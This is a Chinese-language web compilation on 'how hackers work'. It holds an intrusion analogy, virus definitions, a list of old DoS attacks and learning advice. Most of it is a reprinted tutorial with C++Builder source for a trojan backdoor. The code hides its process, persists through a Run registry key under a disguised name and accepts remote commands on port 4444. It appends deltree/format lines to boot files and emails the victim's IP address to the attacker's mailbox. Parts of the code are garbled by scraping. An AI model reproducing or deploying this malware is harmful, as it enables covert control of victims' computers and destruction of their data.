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黑客工作原理(黑客的基本)

本文目录一览:

入侵电脑的原理是什么

“每一台电脑系统就好比一幢大楼,盖好这幢大楼会留几个大门和小门,但是盖楼者为了自己方便,偷偷的留了一个密道和暗窗。楼宇很大,所以密道和密窗留的也很多,晚上大楼把所有的大门和小门都锁上了,但是其他一些工匠知道盖楼者留了密道和暗窗,就努力的去寻找,找到了以后就可以偷偷的潜入大楼偷东西,而后盖楼者发现有些暗窗被发现了,就把暗窗干脆用水泥堵牢了,工匠和盖楼者谁都不要走了”。

盖楼者就是微软公司的工程师,设计系统。工匠就是电脑高手的黑客,通过密道或暗窗潜入大楼就叫入侵攻击,盖楼者把暗窗堵死就是修补漏洞。

两幢大楼之间的马路就是通讯,通过光线,宽带,WIFI联网。工匠从A幢大楼出发去寻找B幢大楼的暗窗需要走大马路过去。黑客破解对方电脑系统需要通过通讯。

类比:黑客---A电脑系统(A大楼)----联网通讯(大马路)---B电脑系统(B大楼)--保卫者

所以如果系统设计者不贪心预留密道和暗窗,根本就没有黑客什么事了。当然了,做一个黑客不容易,必须非常精通电脑编程。

装了杀毒软件,安全卫士就相当于给大楼的防卫工作雇佣了保安。

你如果想通过网络扫描到你朋友的笔记本电脑,那首先需要你朋友的那边笔记本授权可以你访问。然后每台电脑联网都有唯一的标识的,叫做IP地址,类似人的身份证号码。

当然了,这种访问属于走大门或小门,不属于(走暗道或者暗窗)黑客攻击范畴。

什么是黑客?什么是电脑病毒?是怎么作的?

什么是计算机病毒

计算机病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓

延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随

同文件一起蔓延开来。

除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎

仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不

寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。

可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染” 其他程序

的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为

制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制

并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒

所相似之处是能够侵入计算机系统和网络,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复

制, 具有传染性。

所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计

算机资源进行破坏作用的一组程序或指令集合。

参考:

木马是如何编写的(一)

武汉 周侃

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion = 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

file://卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

file://定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

file://格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

file://定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry-RootKey=HKEY_LOCAL_MACHINE;

file://设置主键为HKEY_LOCAL_MACHINE

Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

file://如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")

Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");

file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

file://如果不是,就写入以上键值和内容

}

catch(...)

{

file://如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

file://定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用

AnsiString temp=Socket-ReceiveText();

file://接收客户端(攻击者,也就是你自己)传来的数据

}

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

{

if(temp.SubString(0,9)=="edit conf")

file://如果接受到的字符串的前9个字符是“edit conf”

{

int number=temp.Length();

file://得到字符串的长度

int file_name=atoi((temp.SubString(11,1)).c_str());

file://将第11个字符转换成integer型,存入file_name变量

file://为什么要取第11个字符,因为第10个字符是空格字符

content=(temp.SubString(12,number-11)+'\n').c_str();

file://余下的字符串将被作为写入的内容写入目标文件

FILE *fp=NULL;

char filename[20];

chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

chmod("c:\\config.sys",S_IREADS_IWRITE);

file://将两个目标文件的属性改为可读可写

if(file_name==1)

sprintf(filename,"%s","c:\\autoexec.bat");

file://如果第11个字符是1,就把Autoexec.bat格式化

else if(file_name==2)

sprintf(filename,"%s","c:\\config.sys");

file://如果第11个字符是1,就把Config.sys格式化

times_of_try=0;

file://定义计数器

while(fp==NULL)

{

file://如果指针是空

fp=fopen(filename,"a+");

file://如果文件不存在,创建之;如果存在,准备在其后添加

file://如果出错,文件指针为空,这样就会重复

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://跳至END处

}

}

fwrite(content,sizeof(char),strlen(content),fp);

file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!

fclose(fp);

file://写完后关闭目标文件

Socket-SendText("Sucess");

file://然后发回“Success”的成功信息

}

}

上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:

{

else if(temp.SubString(0,3)=="dir")

{

file://如果前3个字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

file://得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

file://如果目录名为空

Socket-SendText("Fail By Open DIR's Name");

file://返回“Fail By Open DIR's Name”信息

goto END;

file://跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

file://如果打开目录出错

Socket-SendText("Fail by your DIR's name!");

file://返回“Fail By Your DIR's Name”信息

goto END;

file://跳到END

}

times_of_try=0;

while(fp==NULL)

{

file://如果指针是NULL

fp=fopen(TempFile,"w+");

file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功(真有耐心!)

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

file://如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

file://如果最后一个字符不是“\”,证明不是根目录

filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();

file://加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent-d_name).c_str();

file://如果是根目录,则不用加“\”

attrib=_rtl_chmod(filename, 0);

file://得到目标文件的访问属性

if (attrib FA_RDONLY)

file://“”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

file://将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

file://失败则写入空格

if (attrib FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

file://将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

file://将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_ARCH)

fwrite("A",sizeof(char),1,fp);

file://将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_DIREC)

fwrite(" DIR ",sizeof(char),9,fp);

file://将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

file://失败则写入空格

fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);

file://将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

file://写入换行

}

fclose(fp);

file://关闭文件

closedir(dir);

file://关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

file://打开Win369.bat准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp1);

file://重复

};

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

fclose(fp1);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text变量的内容

}

}

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{

else if(temp.SubString(0,4)=="type")

{

file://如果前4个字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

file://将目标文件流存入File_Name变量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Name.c_str(),"r");

file://打开目标文件准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已试了100次了

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的错误信息

goto END;

file://跳到END

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义一个空数组

Read_Num=fread(temp_content,1,300,fp);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp);

file://重复

};

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

fclose(fp);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text的内容,即你查看文件的内容

}

}

咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{

else if(temp=="open")

{

file://如果收到的temp的内容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

file://就弹出光驱的托盘

}

else if(temp=="close")

{

file://如果收到的temp的内容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

}

}

接着就是交换目标机的鼠标左右键,代码如下:

{

else if(temp=="swap")

{

SwapMouseButton(1);

file://交换鼠标左右键,简单吧?

}

}

然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{

else if(temp=="reboot")

{

file://如果收到的temp的内容是“temp”

DWORD dwVersion = GetVersion();

file://得到操作系统的版本号

if (dwVersion 0x80000000)

{

file://操作系统是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);

这个函数的作用是打开一个进程的访问令牌

函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);

的作用是修改进程的权限

tkp.PrivilegeCount = 1;

file://赋给本进程特权

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

的作用是通知Windows NT修改本进程的权利

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file://强行退出WinNt并重启

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://强行退出Win9x并重启

}

}

如果以上都不是,就让它在Dos窗口中执行传来的命令:

{

else

{

file://如果都不是

char * CR_TF="\n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

file://创建Win369.bat,如果已存在就覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的信息

goto END;

file://跳到END

}

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

file://写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

file://写入换行符

fclose(fp);

file://关闭Win369.bat

system(TempFile);

file://执行Win369.bat

Socket-SendText("Success");

file://返回“Success”信息

}

}

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^

到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

木马是如何编写的(三)

武汉 周侃

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{

END:;

Socket-Close();

file://关闭服务

ServerSocket1-Active =true;

file://再次打开服务

if (NMSMTP1-Connected) NMSMTP1-Disconnect();

file://如果SMTP服务器已连接则断开

NMSMTP1-Host = "smtp.163.net";

file://选一个好用的SMTP服务器,如163、263、sina和btamail

NMSMTP1-UserID = "";

file://你SMTP的ID

try

{

NMSMTP1-Connect();

file://再次连接

}

catch(...)

{

goto NextTime;

file://跳到NextTime

}

NMSMTP1-PostMessage-FromAddress ="I don't know!";

file://受害者的Email地址

NMSMTP1-PostMessage-FromName = "Casualty";

file://受害者的名字

NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";

file://将信发到我的邮箱,这一步很关键

NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;

file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

NMSMTP1-PostMessage-Subject = "Server Runn

黑客是如何攻击服务器

1.OOB攻击 这是利用NETBIOS中一个OOB(Out of Band)的漏洞而来进行的,它的原理是通过TCP/IP协议传递一个数据包到计算机某个开放的端口上(一般是137、138和139),当计算机收到这个数据包之后就会瞬间死机或者蓝屏现象,不重新启动计算机就无法继续使用TCP/IP协议来访问网络。 2.DoS攻击 这是针对Windows 9X所使用的ICMP协议进行的DOS(Denial of Service,拒绝服务)攻击,一般来说,这种攻击是利用对方计算机上所安装协议的漏洞来连续发送大量的数据包,造成对方计算机的死机。 3.WinNuke攻击 目前的WinNuke系列工具已经从最初的简单选择IP攻击某个端口发展到可以攻击一个IP区间范围的计算机,并且可以进行连续攻击,还能够验证攻击的效果,还可以对检测和选择端口,所以使用它可以造成某一个IP地址区间的计算机全部蓝屏死机。 4.SSPing 这是一个IP攻击工具,它的工作原理是向对方的计算机连续发出大型的ICMP数据包,被攻击的机器此时会试图将这些文件包合并处理,从而造成系统死机。 5.TearDrop攻击 这种攻击方式利用那些在TCP/IP堆栈实现中信任IP碎片中的包的标题头所包含的信息来实现自己的攻击,由于IP分段中含有指示该分段所包含的是原包哪一段的信息,所以一些操作系统下的TCP/IP协议在收到含有重叠偏移的伪造分段时将崩溃。TeadDrop最大的特点是除了能够对Windows 9X/NT进行攻击之外,连Linux也不能幸免。 本站转载稿件及图片均来自于互联网,版权归属其版权拥有者全权所有。骇客基地此频道仅作为展示与交流之用。作品不代表本站观点,本站不承担此类稿件侵权行为的连带责任。谢谢您的支持!

黑客的原理是什么?

熟练掌握 C语言,汇编语言

基本上黑客新手都要学到disassemble(反汇编),就是通过一个程序运行的汇编套路来分析其源代码。并用c语言进行测试。汇编要掌握到(stack,protected mode,data segmentESPEBP...),C语言(bit-field, stdcall...)

2.计算机原理

分析程序数据没有十进制,只有2进制和16进制(就是0101 0010或0xFF...),要懂得基本运算。还有big/little-endian等基本术语,会用WinHex/UltraEdit或VS的dempbin分析程序。

3.网络:TCP/IP(TCP,UDP,ICMP,DNS,IP等许多协议),会截取数据包,还有分析frame,结合telnet/ftp/c语言的socket等命令进行网络打劫!这部分最难最枯燥,建议看understanding TCP/IP这本书

4.系统的认知!了解Windows内部API,sockets编程,IP proxy(IPv6最好也学),真正的黑客是几乎漏不出马脚的!

这些就是基础,然后熟练掌握各种操作流程,可以强行进行telnet,或进行TCP hijack,或夺取远程sid等。。。还有很多要学,根本数不完。

推荐你看一下几本书(我看过许多书,走过弯路,这是整理后的最优选择)

1.Assembly language step-by-step

掌握汇编语言,和CPU运行机制,内存模式等

2.the C programming language

C语言的灵魂制作

3.(C++可以了解一下)C++ from ground up或C++ premier

C++在底层其实代替不了C

4.Understanding TCP/IP

TCP/IP网络的精髓

  • 评论列表:
  •  末屿僚兮
     发布于 2022-07-02 07:04:57  回复该评论
  • 即被激活的具有对计算机资源进行破坏作用的一组程序或指令集合。参考:木马是如何编写的(一) 武汉 周侃 特洛依木马这个名词大家应该不陌生,自从

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